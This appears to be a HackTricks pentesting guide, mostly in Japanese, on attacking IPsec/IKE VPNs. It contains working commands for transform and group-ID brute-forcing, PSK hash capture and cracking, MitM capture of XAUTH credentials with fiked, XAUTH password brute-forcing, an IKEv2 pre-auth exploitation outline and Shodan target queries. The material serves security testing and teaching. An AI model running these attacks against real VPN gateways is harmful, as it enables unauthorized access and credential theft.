500/udp - Pentesting IPsec/IKE VPN

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

IPsec は、ネットワーク間（LAN-to-LAN）およびリモートユーザーからネットワークゲートウェイへの通信（remote access）を保護する主要技術として広く認識されており、企業向けVPNソリューションの基盤となっています。

2点間のsecurity association (SA) の確立は、認証と鍵交換のために設計されたプロトコルである ISAKMP の枠組みで動作する IKE によって管理されます。このプロセスは複数のフェーズで進行します:

  • Phase 1: 2つのエンドポイント間にセキュアなチャネルを作成します。これは、Pre-Shared Key (PSK) または証明書を使用して行われ、3回のメッセージペアを伴う main mode または aggressive mode を使用します。
  • Phase 1.5: 必須ではありませんが、Extended Authentication Phase として知られるこのフェーズでは、接続を試みるユーザーの本人確認を、ユーザー名とパスワードの要求によって行います。
  • Phase 2: このフェーズはESPおよびAHによるデータ保護のためのパラメータ交渉に専念します。Phase 1 と異なるアルゴリズムを使用して Perfect Forward Secrecy (PFS) を確保できるため、セキュリティが強化されます。

デフォルトポート: 500/udp

よく公開されている他のポート: 4500/udp (NAT Traversal)

nmap を使用してサービスを検出する

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

有効なトランスフォームを見つける

IPSec の設定は、1つまたは少数のトランスフォーメーションのみを受け入れるように用意されていることがあります。トランスフォーメーションは値の組み合わせです。各トランスフォーム は、暗号化アルゴリズム として DES や 3DES、整合性アルゴリズム として SHA や MD5、認証タイプ として pre-shared key、鍵の 配布アルゴリズム として Diffie-Hellman 1 または 2、有効期間 として 28800 seconds のような複数の属性を含みます。

まず最初に行うべきことは、サーバーが応答するように 有効なトランスフォーメーションを見つける ことです。そのために、ツール ike-scan を使用できます。デフォルトでは ike-scan は main mode で動作し、ISAKMP header を付けたパケットと、eight transforms inside it を含む単一の proposal をゲートウェイに送信します。

応答によって、エンドポイントに関するいくつかの情報を取得できます：

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

前のレスポンスでわかるように、AUTH というフィールドが PSK になっています。これは vpn が preshared key を使って設定されていることを意味します（pentester にとっては非常に好都合です）。\
最後の行の値も非常に重要です：

  • 0 returned handshake; 0 returned notify: これはターゲットが not an IPsec gateway であることを意味します。
  • 1 returned handshake; 0 returned notify: これはターゲットが IPsec 用に設定され、IKE negotiation を行う意志があり、あなたが提案した transform のうち一つ以上が受け入れ可能であることを意味します（有効な transform は出力に表示されます）。
  • 0 returned handshake; 1 returned notify: VPN gateways は none of the transforms are acceptable 場合に notify メッセージで応答します（ただし応答しないゲートウェイもあり、その場合は追加分析と見直した提案を試すべきです）。

この場合はすでに有効な transformation がありますが、もし3番目のケースに該当するなら、有効な transformation を見つけるために多少 brute-force を行う必要があります：

まず最初に、可能なすべての transformations を作成する必要があります：

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

その後、ike-scan を使ってそれぞれを brute-force します（これには数分かかることがあります）:

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

もし brute-force がうまくいかなかったら、サーバが有効な transforms に対しても handshakes なしで応答している可能性があります。その場合、同じ brute-force を aggressive mode を使って試すことができます:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

うまくいけば 有効な変換が返されます.
iker.py を使って same attack を試すこともできます.
また、ikeforce を使って変換を brute force してみることもできます:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

例： DH Group: 14 = 2048-bit MODP と 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH

Cisco は DH groups 1 と 2 の使用を避けるよう指摘しています。これらは十分に強力ではありません。専門家は、資源の潤沢な国がこれらの弱いグループを用いたデータの暗号を容易に破ることができると考えています。これは、解読を高速化するための事前準備などの特殊な手法を用いて行われます。この手法の準備には多大な費用がかかりますが、1,024 ビット以下のような強度の低いグループを使用している場合、これらの強力な国は暗号化データをリアルタイムで読み取れるようになります。

Server fingerprinting

次に、ike-scan を使用してデバイスの ベンダーを特定 を試みることができます。ツールは最初のプロポーザルを送信してリプレイを停止します。その後、サーバーから受信した メッセージ とパターンに一致するレスポンスとの 時間 の 間 の差を 解析 することで、pentester は VPN ゲートウェイのベンダーを正常に fingerprint できます。さらに、一部の VPN サーバは IKE と共にオプションの Vendor ID (VID) payload を使用します。

必要に応じて有効な変換を指定してください (using –trans)

IKE がベンダーを判別すると、それを表示します:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

This can be also achieve with nmap script ike-version

IKEv2-specific: WatchGuard Vendor ID version fingerprinting

Some IKEv2 daemons include non-standard Vendor ID payloads in the IKE_SA_INIT response. WatchGuard Fireware OS encodes the appliance version/build directly inside the VID, allowing single-packet, pre-auth fingerprinting.

  • Transport: UDP/500 (and UDP/4500 for NAT-T)
  • Packet: IKE_SA_INIT response contains one or more Vendor ID payloads
  • WatchGuard format: 32-byte hash followed by base64 that decodes to e.g. VN=12.11.3 BN=719894

Example raw bytes from a WatchGuard VID payload (last 12 bytes are base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

base64 tail が分かっている場合の shell での簡易抽出:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Notes

  • これはいかなる IKEv2 RFC の一部でもありません。公開／脆弱な Fireware OS バージョンを迅速にスコーピングするためのベンダー固有の挙動として扱ってください。
  • IKE_SA_INIT の返信を引き出すだけでよく、認証は不要です。

正しい ID（グループ名）の見つけ方

hash を取得するには、Aggressive mode をサポートする有効な transformation と正しい ID（グループ名）が必要です。正しいグループ名は事前に分からないことが多いため、brute-force する必要があります.
そのために、以下の2つの方法を推奨します:

Bruteforcing ID with ike-scan

まずは偽の ID で hash を収集しようとリクエストを送ってみてください（“-P”）:

ike-scan -P -M -A -n fakeID <IP>

もし no hash is returned なら、おそらくこの方法での brute forcing は有効です。 If some hash is returned, this means that a fake hash is going to be sent back for a fake ID, so this method won’t be reliable つまり、fake ID に対して fake hash が返されるため、ID を brute-force するには信頼できません。例えば、fake hash が返されることがあります（これは最近のバージョンで発生します）:

しかし、先に述べた通り、no hash is returned の場合は、ike-scan を使って common group names を brute-force してみてください。

この script は will try to brute-force possible IDs として試行し、有効な handshake が返された IDs を返します（これは有効な group name になります）。

特定の transformation を見つけている場合はそれを ike-scan コマンドに追加してください。複数の transformations を見つけている場合は、それらすべてを試すために新しい loop を追加して構いません（いずれかが正しく動作するまで全て試すべきです）。

You can use the dictionary of ikeforce or the one in seclists of common group names to brute-force them:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

Ikerを使ったIDの総当たり

iker.py also uses ike-scan to bruteforce possible group names. 独自の方法でike-scanの出力に基づいて有効なIDを見つけます。

ikeforceを使ったIDの総当たり

ikeforce.py is a tool that can be used to brute force IDs also. このツールは、有効なIDと無効なIDを区別するために利用できる様々な脆弱性を突こうとします（偽陽性や偽陰性が発生する可能性があるため、可能ならike-scanの方法を使う方を好みます）。

By default ikeforce will send at the beginning some random ids to check the behaviour of the server and determinate the tactic to use.

  • The first method is to brute-force the group names by searching for the information Dead Peer Detection DPD of Cisco systems (this info is only replayed by the server if the group name is correct).
  • The second method available is to checks the number of responses sent to each try because sometimes more packets are sent when the correct id is used.
  • The third method consist on searching for “INVALID-ID-INFORMATION” in response to incorrect ID.
  • Finally, if the server does not replay anything to the checks, ikeforce will try to brute force the server and check if when the correct id is sent the server replay with some packet.
    最後に、サーバがチェックに何も返信しない場合、ikeforceはサーバに対して総当たりを試み、正しいidが送信されたときにサーバが何らかのパケットで応答するかを確認します。

Obviously, the goal of brute forcing the id is to get the PSK when you have a valid id. Then, with the id and PSK you will have to bruteforce the XAUTH (if it is enabled).

If you have discovered an specific transformation add it in the ikeforce command. And if you have discovered several transformations feel free to add a new loop to try them all (you should try them all until one of them is working properly).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): VPNクライアントとサーバ間の接続をsniffingすることで、有効なユーザー名を取得することも可能です。最初のaggressive modeパケットにclient IDが含まれて平文で送信されるためです。

Aggressive Mode identity leakage

Aggressive Mode は、ID を早期に送信する必要があります。これは、複数のグループ/ユーザーが存在する場合にゲートウェイが適切な PSK を選択できるようにするためです。つまり、identity is exposed pre-auth ということで、Main Mode のように後続パケットで暗号化される場合とは異なります。素早く抽出できます：

ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)

Aggressive Mode が有効な場合、crackable な PSK handshake をキャプチャしてオフラインで crack してください (hashcat mode 5400):

ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt

取得した PSKs はしばしば他のサービス（SSH、VPN client auth）の認証情報として再利用されるため、公開されているサービスに対してテストしてください。

Capturing & cracking the hash

最後に、valid transformation と group name を見つけ、さらに aggressive mode が許可されている場合、非常に簡単に crackable hash を取得できます：

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

ハッシュは hash.txt に保存されます。

ハッシュを crack するには、psk-crack、john（ikescan2john.py を使用）および hashcat を使用できます:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE と Pre-Shared Key (PSK) の組み合わせは、一般的にグループ認証の目的で使用されます。この方法には XAuth (Extended Authentication) が組み合わされ、追加のユーザー認証層を導入します。こうした認証は通常、Microsoft Active Directory、RADIUS、または同等のシステムを利用します。

IKEv2 への移行では、ユーザー認証のために XAuth の代わりに EAP (Extensible Authentication Protocol) が利用されるという顕著な変化が見られます。この変更は、セキュアな通信プロトコルにおける認証手法の進化を示しています。

ローカルネットワークでのMitMによる資格情報の取得

つまり、ログインデータは fiked を使ってキャプチャでき、デフォルトのユーザー名が存在するか確認できます（スニッフィングのために IKE トラフィックを fiked にリダイレクトする必要があり、これは ARP spoofing の助けを借りて行えます、more info）。Fiked は VPN エンドポイントとして動作し、XAuth の資格情報をキャプチャします：

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

また、IPSec を使用して MitM 攻撃を試み、port 500 への全トラフィックをブロックしてください。もし IPSec tunnel が確立できない場合、トラフィックは平文で送信される可能性があります。

Brute-forcing XAUTH username and password with ikeforce

有効なグループ名 id と psk を知っている場合、XAUTH を brute force するには、単一の username または username のリストと password のリストを使用できます:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

この方法では、ikeforce は username:password の各組み合わせで接続を試みます。

1つまたは複数の有効な transforms を見つけた場合は、前の手順と同様にそれらを使用してください。

IPSEC VPN の認証

Kali では、VPNC を使って IPsec トンネルを確立します。プロファイル はディレクトリ /etc/vpnc/ に配置する必要があります。これらのプロファイルはコマンド vpnc で起動できます。

以下のコマンドと設定は、VPNC を使って VPN 接続を設定する過程を示しています:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In this setup:

  • [VPN_GATEWAY_IP] を VPN ゲートウェイの実際の IP アドレスに置き換えてください。
  • [VPN_CONNECTION_ID] を VPN 接続の識別子に置き換えてください。
  • [VPN_GROUP_SECRET] を VPN の group secret に置き換えてください。
  • [VPN_USERNAME] と [VPN_PASSWORD] を VPN 認証用の資格情報に置き換えてください。
  • [PID] は vpnc 起動時に割り当てられるプロセス ID を示します。

VPN を設定する際は、プレースホルダを実際の安全な値に置き換えてください。

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

Modern VPN appliances often expose IKEv2 on UDP/500 (and UDP/4500 for NAT-T). A common pre-authentication attack surface is the parsing of Identification (IDi) and Certificate payloads during IKE_SA_AUTH.

High-level exploitation flow when a vulnerable IKEv2 parser exists:

  • 有効な IKE_SA_INIT を送信してトランスフォームをネゴシエートし、Diffie–Hellman を完了させる。
  • 続けて IKE_SA_AUTH を送信し、バグを引き起こす IDi を含める（例：certificate 検証前に固定長のスタックバッファへコピーされる過大な Identification）。
  • 結果として発生するメモリ破損により、saved-register や return-address の制御を得られる可能性がある。
  • NX が有効で他の緩和策（PIE/canaries 等）が欠けている場合、スタックページに対して mprotect を呼ぶ ROP チェーンを構築し、注入した shellcode へ実行をピボットするか、/bin/sh が利用できない場合は常駐インタプリタ（例：/usr/bin/python3）に制御を移す。

Example default transforms observed on some IKEv2 appliances (WatchGuard Fireware OS 12.11.3):

  • SHA2-256–AES(256-bit) with DH Group 14
  • SHA1–AES(256-bit) with DH Group 5
  • SHA1–AES(256-bit) with DH Group 2
  • SHA1–3DES with DH Group 2

実用的なヒント

  • UDP/500 と UDP/4500 の両方をターゲットにしてください。NAT-T サーバは 4500 のみで応答する場合があります。
  • UDP ベースのスキャナでは受信バッファとタイムアウトを増やしてパケットロスを避けてください。
  • サービスがカスタムの Vendor IDs を公開している場合（上の節を参照）、攻撃トラフィックを試す前にそれらを使って脆弱なバージョンを素早くフィンガープリントしてください。

Reference Material

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

References

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする